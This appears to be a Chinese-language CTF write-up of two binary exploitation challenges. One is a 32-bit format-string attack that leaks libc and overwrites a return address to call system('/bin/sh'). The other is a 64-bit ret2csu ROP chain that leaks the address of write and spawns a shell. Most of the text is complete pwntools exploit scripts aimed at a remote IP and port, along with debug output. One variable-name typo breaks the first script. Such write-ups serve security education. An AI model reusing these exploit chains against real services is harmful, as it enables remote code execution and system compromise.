format
規律總結
- 先確定格式化字符串相對偏移
abcd%0$p
-------->n=0
abcd0xffd8b07c
-------->n=1
abcd0x400
-------->n=2
abcd0xffd8b524
-------->n=3
abcd0x1ae23c
-------->n=4
abcd0x8
-------->n=5
abcd0x48
-------->n=6
abcd0x64636261 //偏移爲7
-------->n=7
- 通過%s找到magic
linux 32位程序不開PIE保護時開始地址默認爲0x8048000
試了一下
[DEBUG] Sent 0xd bytes:
00000000 25 39 24 73 61 61 61 62 00 80 04 08 0a │%9$s│aaab│····│·│
0000000d
[DEBUG] Received 0xb bytes:
00000000 7f 45 4c 46 01 01 01 61 61 61 62 │·ELF│···a│aab│
- entry 距離 magic 爲0x18,所以我們接着泄露(0x8048000+0x18)
[DEBUG] Received 0xe bytes:
00000000 d0 83 04 08 34 61 61 61 62 18 80 04 08 0a │····│4aaa│b···│··│
//0x080483d0是_start 地址
- 接着泄露_start函數
[DEBUG] Received 0x4a bytes:
00000000 31 ed 5e 89 e1 83 e4 f0 50 54 52 68 b0 85 04 08 │1·^·│····│PTRh│····│
00000010 68 40 85 04 08 51 56 68 c0 84 04 08 e8 bf ff ff │h@··│·QVh│····│····│
00000020 ff f4 90 90 90 90 90 90 90 90 90 90 90 90 90 90 │····│····│····│····│
00000030 b8 23 a0 04 08 2d 20 a0 04 08 83 f8 06 77 01 c3 │·#··│·- ·│····│·w··│
00000040 b8 61 61 61 62 d0 83 04 08 0a │·aaa│b···│··│
0000004a
_start 函數裏面有call ___libc_start_main 。對應的硬編碼是e8 bf ff ff ff,
e8是call函數的opcode, ffffffbf =-65是代表要跳轉的地址距離這條指令的下一條指令的偏移量爲-65。所以___libc_start_main 的plt地址爲0x080483d0+0x21-65=0x80483B0
[DEBUG] Received 0x11 bytes:
00000000 ff 25 10 a0 04 08 68 20 61 61 61 62 b0 83 04 08 │·%··│··h │aaab│····│
00000010 0a │·│
0000001
收到硬編碼爲ff 25 10 a0 04 08,這是一條jmp指令
,ff25是opcode,0x0804a010是要跳轉的地址,得到___libc_start_main的got表爲0x0804a010,我們可以通過這個泄露處___libc_start_main的真實地址,從而算出libc base。
- 可以泄露第一個變量從而確定
[+] Opening connection to 47.106.209.151 on port 44444: Done
%0$p
-------->n=0
0xff83aa3c-------->n=1 //確定了變量的地址,而且它是在棧上面的
0x400
-------->n=2
0xff83aee4-------->n=3
0x1ae23c
-------->n=4
0x8
-------->n=5
0x48
-------->n=6
0x70243725-------->n=7
0xa
-------->n=8
(nil)
...
-------->n=261
(nil)
-------->n=262
0x6a96c400-------->n=263
0xf76de000-------->n=264 //返回值
0xf76de000-------->n=265
(nil)
-------->n=266
0xf7546637-------->n=267
0x1
-------->n=268
0xff83aee4-------->n=269
0xff83aeec-------->n=270
(nil)
-------->n=271
(nil)
-------->n=272
(nil)
-------->n=273
在這道題目中試了很多種方法,棧溢出,修改printf的got表之類,但都失敗了。最後找到的方法是利用格式化字符串修改返回值。
通過%p得到字符串地址
然後算出返回值
exp
from pwn import *
context.log_level = "debug"
libc = ELF("./x86_libc.so.6")
sh = remote("47.106.209.151", "44444")
sh.sendline('%p')
string_ad=sh.recv().strip()
str_ad =int(string_ad,16)
ibc_start_main=0x0804a010
sh.sendline("%9$saaab" + p32(libc_start_main))
info = sh.recvuntil("aaab")[0:4]
libc_start_main_1=u32(info)
print(hex(libc_start_main_1))
libc_base=libc_start_main_1-libc.symbols['__libc_start_main']
print("libc_base=",hex(libc_base))
system = libc_base+libc.symbols['system']
print("system=",hex(system))
system_hex=hex(system)
print('systm=',system_hex)
pay=fmtstr_payload(7,{str_ad-4*8:system,str_ad-4*6:str_ad+0x100},write_size='byte')
print(pay)
sh.sendline(pay.ljust(0x100)+'/bin/sh\x00')
sh.interactive()
64位 rop
$ checksec pwn_x64
[*] '/home/hu/Documents/nanning/pwn_x64'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
- 沒有canary,直接64位rop,
__libc_csu_init
.text:0000000000400610 mov rdx, r13
.text:0000000000400613 mov rsi, r14
.text:0000000000400616 mov edi, r15d
.text:0000000000400619 call qword ptr [r12+rbx*8]
.text:000000000040061D add rbx, 1
.text:0000000000400621 cmp rbx, rbp
.text:0000000000400624 jnz short loc_400610
.text:0000000000400626
.text:0000000000400626 loc_400626: ; CODE XREF: __libc_csu_init+36↑j
.text:0000000000400626 add rsp, 8
.text:000000000040062A pop rbx
.text:000000000040062B pop rbp
.text:000000000040062C pop r12
.text:000000000040062E pop r13
.text:0000000000400630 pop r14
.text:0000000000400632 pop r15
.text:0000000000400634 retn
- 利用
pop-rbx_pop-rbp-pop_r12-pop_r13-pop_r14-pop_r15
mov_rdx,r13-mov_rsi,r14-mov_edi,r15,控制eip
payload1 = "\x00"*0x88
payload1 += p64(0x40062A) + p64(0) +p64(1) + p64(fun) + p64(8)+ p64(got表) + p64(1) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x400610) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 +=p64(0)*7 +p64(main)
- 泄露write 真實地址
payload1 = "\x00"*136
payload1 += p64(0x40062A) + p64(0) +p64(1) + p64(got_write) + p64(8)+ p64(got_write) + p64(1) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x400610) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 +=p64(0)*7 +p64(main)
p.recvuntil("orld\n")
print "\n#############sending payload1#############\n"
p.send(payload1)
sleep(1)
write_addr = u64(p.recv(8))
print "write_addr: " + hex(write_addr)
- 計算出system
system_addr = write_addr - off_system_addr
print "system_addr: " + hex(system_addr)
- 往.bss段裏面存入system,/bin/sh
bss_addr=0x0000000000601048
p.recvuntil("World\n")
#rdi= edi = r13, rsi = r14, rdx = r15
#read(rdi=0, rsi=bss_addr, rdx=16)
payload2 = "\x00"*136
payload2 += p64(0x40062A) + p64(0) + p64(1) + p64(got_read) + p64(16)+ p64(bss_addr) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x400610) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload2 +=p64(0)*7 + p64(main)
print "\n#############sending payload2#############\n"
p.send(payload2)
sleep(1)
p.send(p64(system_addr)+"/bin/sh\x00")
- 調用system(/bin/sh)
p.recvuntil("Hello, World\n")
#rdi= edi = r13, rsi = r14, rdx = r15
#system(rdi = bss_addr+8 = "/bin/sh")
payload3 = "\x00"*136
payload3 += p64(0x40062A) + p64(0) +p64(1) + p64(bss_addr) + p64(0) + p64(0) + p64(bss_addr+8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload3 += p64(0x400610) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload3 += p64(0)*7 +p64(main)
完整的exp
#!python
#!/usr/bin/env python
from pwn import *
context.log_level="debug"
#p=process('./pwn_x64')
p=remote("47.106.209.151","55555")
libc=ELF('./x64_libc.so.6')
elf=ELF('./pwn_x64')
got_write = elf.got['write']
print "got_write: " + hex(got_write)
got_read = elf.got['read']
print "got_read: " + hex(got_read)
main = 0x000000000040059D
fun =0x000000000040057D
off_system_addr = libc.symbols['write'] - libc.symbols['system']
print "off_system_addr: " + hex(off_system_addr)
#rdi= edi = r13, rsi = r14, rdx = r15
#write(rdi=1, rsi=write.got, rdx=4)
payload1 = "\x00"*136
payload1 += p64(0x40062A) + p64(0) +p64(1) + p64(got_write) + p64(8)+ p64(got_write) + p64(1) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x400610) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 +=p64(0)*7 +p64(main)
p.recvuntil("orld\n")
print "\n#############sending payload1#############\n"
p.send(payload1)
sleep(1)
write_addr = u64(p.recv(8))
print "write_addr: " + hex(write_addr)
system_addr = write_addr - off_system_addr
print "system_addr: " + hex(system_addr)
bss_addr=0x0000000000601048
p.recvuntil("World\n")
#rdi= edi = r13, rsi = r14, rdx = r15
#read(rdi=0, rsi=bss_addr, rdx=16)
payload2 = "\x00"*136
payload2 += p64(0x40062A) + p64(0) + p64(1) + p64(got_read) + p64(16)+ p64(bss_addr) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x400610) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload2 +=p64(0)*7 + p64(main)
print "\n#############sending payload2#############\n"
p.send(payload2)
sleep(1)
p.send(p64(system_addr)+"/bin/sh\x00")
sleep(1)
p.recvuntil("Hello, World\n")
#rdi= edi = r13, rsi = r14, rdx = r15
#system(rdi = bss_addr+8 = "/bin/sh")
payload3 = "\x00"*136
payload3 += p64(0x40062A) + p64(0) +p64(1) + p64(bss_addr) + p64(0) + p64(0) + p64(bss_addr+8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload3 += p64(0x400610) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload3 += p64(0)*7 +p64(main)
print "\n#############sending payload3#############\n"
p.send(payload3)
p.interactive()